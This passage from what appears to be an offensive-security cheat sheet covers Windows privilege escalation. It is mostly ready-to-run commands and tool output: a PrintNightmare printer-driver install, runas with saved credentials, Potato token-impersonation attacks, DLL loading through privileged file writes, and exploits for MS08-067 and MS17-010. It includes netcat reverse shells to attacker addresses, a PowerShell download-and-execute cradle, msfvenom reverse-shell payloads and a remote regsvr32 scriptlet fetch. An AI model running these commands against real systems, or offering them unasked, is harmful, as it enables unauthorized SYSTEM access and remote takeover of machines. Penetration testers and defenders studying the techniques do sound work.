New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Directory' -
PropertyType 'String'      -Value 'W32X86\3'        | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Files'     -
PropertyType 'MultiString' -Value ('mimispool.dll') | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'Module'    -
PropertyType 'String'      -Value 'mscms.dll'       | Out-Null
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Directory' -
PropertyType 'String'      -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Files'     -
PropertyType 'MultiString' -Value $null             | Out-Null
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'Module'    -
PropertyType 'String'      -Value 'mimispool.dll'   | Out-Null
```

Execute the driver

```
$serverName  = 'dc.purple.lab'
$printerName = 'Universal Priv Printer'
$fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' + $(If
([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
Add-Printer -ConnectionName $fullprinterName
```

PrinterNightmare

```
git clone https://github.com/Flangvik/DeployPrinterNightmare
PS C:\adversary> FakePrinter.exe 32mimispool.dll 64mimispool.dll EasySystemShell
[<3] @Flangvik - TrustedSec
[+] Copying C:\Windows\system32\mscms.dll to
C:\Windows\system32\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 64mimispool.dll to
C:\Windows\system32\spool\drivers\x64\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Copying 32mimispool.dll to
C:\Windows\system32\spool\drivers\W32X86\3\6cfbaf26f4c64131896df8a522546e9c.dll
[+] Adding printer driver => Generic / Text Only!
[+] Adding printer => EasySystemShell!
[+] Setting 64-bit Registry key
[+] Setting 32-bit Registry key
[+] Setting '*' Registry key
```

```
PS C:\target> $serverName  = 'printer-installed-host'
PS C:\target> $printerName = 'EasySystemShell'
PS C:\target> $fullprinterName = '\\' + $serverName + '\' + $printerName + ' - ' +
$(If ([System.Environment]::Is64BitOperatingSystem) {'x64'} Else {'x86'})
PS C:\target> Remove-Printer -Name $fullprinterName -ErrorAction SilentlyContinue
PS C:\target> Add-Printer -ConnectionName $fullprinterName
```

Bring Your Own Vulnerability

Concealed Position : https://github.com/jacob-baines/concealed_position

- ACIDDAMAGE - CVE-2021-35449 - Lexmark Universal Print Driver LPE
- RADIANTDAMAGE - CVE-2021-38085 - Canon TR150 Print Driver LPE
- POISONDAMAGE - CVE-2019-19363 - Ricoh PCL6 Print Driver LPE
- SLASHINGDAMAGE - CVE-2020-1300 - Windows Print Spooler LPE

```
cp_server.exe -e ACIDDAMAGE
# Get-Printer
# Set the "Advanced Sharing Settings" -> "Turn off password protected sharing"
cp_client.exe -r 10.0.0.9 -n ACIDDAMAGE -e ACIDDAMAGE
cp_client.exe -l -e ACIDDAMAGE
```

EoP - Runas

Use the `cmdkey` to list the stored credentials on the machine.

```
cmdkey /list
Currently stored credentials:
 Target: Domain:interactive=WORKGROUP\Administrator
 Type: Domain Password
 User: WORKGROUP\Administrator
```

Then you can use `runas` with the `/savecred` options in order to use the saved credentials. The following example is calling a remote binary via an SMB share.

```
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
runas /savecred /user:Administrator "cmd.exe /k whoami"
```

Using `runas` with a provided set of credential.

```
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password>
"c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
```

```
$secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("<user>",
$secpasswd)
```

```
$computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e 
cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
```

EoP - Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Privilege Escalation.

```
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows

# List shadow copies using diskshadow
diskshadow list shadows all

# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
```

EoP - From local administrator to NT SYSTEM

```
PsExec.exe -i -s cmd.exe
```

EoP - Living Off The Land Binaries and Scripts

Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/

> The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.

A LOLBin/Lib/Script must:

- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
- Have functionality that would be useful to an APT or red team

```
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
```

EoP - Impersonation Privileges

Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.

Privilege	Impact	Tool	Execution path	Remarks

Privilege	Impact	Tool	Execution path	Remarks
`SeAssignPrimaryToken`	***Admin***	3rd party tool	*"It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe"*	Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon.
`SeBackup`	**Threat**	***Built-in commands***	Read sensitve files with `robocopy /b`	- May be more interesting if you can read %WINDIR%\MEMORY.DMP - `SeBackupPrivilege` (and robocopy) is not helpful when it comes to open files. - Robocopy requires both SeBackup and SeRestore to work with /b parameter.
`SeCreateToken`	***Admin***	3rd party tool	Create arbitrary token including local admin rights with `NtCreateToken`.	
`SeDebug`	***Admin***	**PowerShell**	Duplicate the `lsass.exe` token.	Script to be found at FuzzySecurity
`SeLoadDriver`	***Admin***	3rd party tool	1. Load buggy kernel driver such as `szkg64.sys` or `capcom.sys` 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with `ftlMC` builtin command. i.e.: `fltMC sysmondrv`	1. The `szkg64` vulnerability is listed as CVE-2018-15732 2. The `szkg64` exploit code was created by Parvez Anwar
`SeRestore`	***Admin***	**PowerShell**	1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U	Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.

Privilege	Impact	Tool	Execution path	Remarks
`SeTakeOwnership`	***Admin***	***Built-in commands***	1. `takeown.exe /f "%windir%\system32"` 2. `icalcs.exe "%windir%\system32" /grant "%username%":F` 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U	Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege.
`SeTcb`	***Admin***	3rd party tool	Manipulate tokens to have local admin rights included. May require SeImpersonate. To be verified.	

Restore A Service Account's Privileges

> This tool should be executed as LOCAL SERVICE or NETWORK SERVICE only.

```
# https://github.com/itm4n/FullPowers

c:\TOOLS>FullPowers
[+] Started dummy thread with id 9976
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19041.84]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

c:\TOOLS>FullPowers -c "C:\TOOLS\nc64.exe 1.2.3.4 1337 -e cmd" -z
```

Meterpreter getsystem and alternatives

```
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
```

```
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
```

RottenPotato (Token Impersonation)

- Binary available at : https://github.com/foxglovesec/RottenPotato
- Binary available at : https://github.com/breenmachine/RottenPotatoNG

```
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
```

```
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -
exec bypass -c \"IEX (New-Object
Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
```

Juicy Potato (Abusing the golden privileges)

> If the machine is **>= Windows 10 1809 & Windows Server 2019** - Try **Rogue Potato**
> If the machine is **< Windows 10 1809 < Windows Server 2019** - Try **Juicy Potato**

- Binary available at : https://github.com/ohpe/juicy-potato/releases

1. Check the privileges of the service account, you should look for **SeImpersonate** and/or **SeAssignPrimaryToken** (Impersonate a client after authentication)

   ```
   whoami /priv
   ```

2. Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object

   - Windows 7 Enterprise
   - Windows 8.1 Enterprise
   - Windows 10 Enterprise
   - Windows 10 Professional
   - Windows Server 2008 R2 Enterprise
   - Windows Server 2012 Datacenter
   - Windows Server 2016 Standard

3. Execute JuicyPotato to run a privileged command.

```
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e 
cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7}
JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-
86ac-db1cbf673334}
JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-
452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe"
    Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337
    ......
    [+] authresult 0
    {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM
    [+] CreateProcessWithTokenW OK
```

Rogue Potato (Fake OXID Resolver)

- Binary available at https://github.com/antonioCoco/RoguePotato

```
# Network redirector / port forwarder to run on your remote machine, must use port
135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the
RogueOxidResolver.exe on your remote machine.
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and
specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-
730d-11d4-bf42-00b0d0118b56}" -p splintercode
```

EFSPotato (MS-EFSR EfsRpcOpenFileRaw)

- Binary available at https://github.com/zcgonvh/EfsPotato

```
# .NET 4.x
csc EfsPotato.cs
csc /platform:x86 EfsPotato.cs

# .NET 2.0/3.5
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe EfsPotato.cs
C:\Windows\Microsoft.Net\Framework\V3.5\csc.exe /platform:x86 EfsPotato.cs
```

EoP - Privileged File Write

DiagHub

:warning: Starting with version 1903 and above, DiagHub can no longer be used to load arbitrary DLLs.

The Microsoft Diagnostics Hub Standard Collector Service (DiagHub) is a service that collects trace information and is programmatically exposed via DCOM. This DCOM object can be used to load a DLL into a SYSTEM process, provided that this DLL exists in the `C:\Windows\System32` directory.

Exploit

1. Create an evil DLL e.g: payload.dll and move it into `C:\Windows\System32`
2. Build https://github.com/xct/diaghub
3. `diaghub.exe c:\\ProgramData\\ payload.dll`

The default payload will run `C:\Windows\System32\spool\drivers\color\nc.exe -lvp 2000 -e cmd.exe`

Alternative tools:

- https://github.com/Accenture/AARO-Bugs/tree/master/CVE-2020-5825/TrigDiag
- https://github.com/decoder-it/diaghub_exploit

UsoDLLLoader

:warning: 2020-06-06 Update: this trick no longer works on the latest builds of Windows 10 Insider Preview.

> An alternative to the DiagHub DLL loading "exploit" found by James Forshaw (a.k.a. @tiraniddo)

If we found a privileged file write vulnerability in Windows or in some third-party software, we could copy our own version of `windowscoredeviceinfo.dll` into `C:\Windows\Sytem32\` and then have it loaded by the USO service to get arbitrary code execution as **NT AUTHORITY\System**.

Exploit

1. Build https://github.com/itm4n/UsoDllLoader
   - Select Release config and x64 architecure.
   - Build solution.
     - DLL .\x64\Release\WindowsCoreDeviceInfo.dll
     - Loader .\x64\Release\UsoDllLoader.exe.
2. Copy `WindowsCoreDeviceInfo.dll` to `C:\Windows\System32\`
3. Use the loader and wait for the shell or run `usoclient StartInteractiveScan` and connect to the bind shell on port 1337.

WerTrigger

> Weaponizing for privileged file writes bugs with Windows problem reporting

1. Clone https://github.com/sailay1996/WerTrigger
2. Copy `phoneinfo.dll` to `C:\Windows\System32\`
3. Place `Report.wer` file and `WerTrigger.exe` in a same directory.
4. Then, run `WerTrigger.exe`.
5. Enjoy a shell as **NT AUTHORITY\SYSTEM**

EoP - Common Vulnerabilities and Exposure

MS08-067 (NetAPI)

Check the vulnerability with the following nmap script.

```
nmap -Pn -p445--open--max-hostgroup 3--script smb-vuln-ms08-067 <ip_netblock>
```

Metasploit modules to exploit `MS08-067 NetAPI`.

```
exploit/windows/smb/ms08_067_netapi
```

If you can't use Metasploit and only want a reverse shell.

```
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b
"\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows

Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port
445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139
(445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn
NX)
python ms08-067.py 10.0.0.1 6 445
```

MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7

'KiTrap0D' User Mode to Ring Escalation (MS10-015)

```
https://www.exploit-db.com/exploits/11199

Metasploit : exploit/windows/local/ms10_015_kitrap0d
```

MS11-080 (afd.sys) - Microsoft Windows XP/2003

```
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
```

MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012

```
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");

# x32
https://github.com/rootphantomer/exp/raw/master/ms15-
051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
```

```
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-
051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe

https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
```

MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)

Check if the patch is installed : `wmic qfe list | findstr "3139914"`

```
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1

Binary exe : https://github.com/Meatballs1/ms16-032

Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

MS17-010 (Eternal Blue)

Check the vulnerability with the following nmap script or crackmapexec: `crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M ms17-010`.

```
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
```

Metasploit modules to exploit `EternalRomance/EternalSynergy/EternalChampion`.

```
auxiliary/admin/smb/ms17_010_command          MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010            MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue      MS17-010 EternalBlue SMB Remote Windows
Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows
Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec           MS17-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
```

If you can't use Metasploit and only want a reverse shell.

```
git clone https://github.com/helviojunior/MS17-010

# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f
exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
```

CVE-2019-1388

Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html

Requirement:

- Windows 7
- Windows 10 LTSC 10240

Failing on :

- LTSC 2019
- 1709
- 1803

Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege

References

- Windows Internals Book - 02/07/2017
- icacls - Docs Microsoft
- Privilege Escalation Windows - Philip Linghammar
- Windows elevation of privileges - Guifre Ruiz
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- Basic Linux Privilege Escalation
- Windows Privilege Escalation Fundamentals
- TOP–10 ways to boost your privileges in Windows systems - hackmag
- The SYSTEM Challenge
- Windows Privilege Escalation Guide - absolomb's security blog
- Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell
- Pentestlab.blog - WPE-01 - Stored Credentials
- Pentestlab.blog - WPE-02 - Windows Kernel
- Pentestlab.blog - WPE-03 - DLL Injection
- Pentestlab.blog - WPE-04 - Weak Service Permissions
- Pentestlab.blog - WPE-05 - DLL Hijacking
- Pentestlab.blog - WPE-06 - Hot Potato
- Pentestlab.blog - WPE-07 - Group Policy Preferences
- Pentestlab.blog - WPE-08 - Unquoted Service Path
- Pentestlab.blog - WPE-09 - Always Install Elevated
- Pentestlab.blog - WPE-10 - Token Manipulation
- Pentestlab.blog - WPE-11 - Secondary Logon Handle
- Pentestlab.blog - WPE-12 - Insecure Registry Permissions
- Pentestlab.blog - WPE-13 - Intel SYSRET
- Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @*xpn*
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec
- Local Privilege Escalation Workshop - Slides.pdf - @sagishahar
- Abusing Diaghub - xct - March 07, 2019
- Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege - James Forshaw, Project Zero - Wednesday, April 18, 2018
- Weaponizing Privileged File Writes with the USO Service - Part 2/2 - itm4n - August 19, 2019
- Hacking Trick: Environment Variable $Path Interception y Escaladas de Privilegios para Windows

- Abusing SeLoadDriverPrivilege for privilege escalation - 14 - JUN - 2018 - OSCAR MALLO
- Universal Privilege Escalation and Persistence – Printer - AUGUST 2, 2021)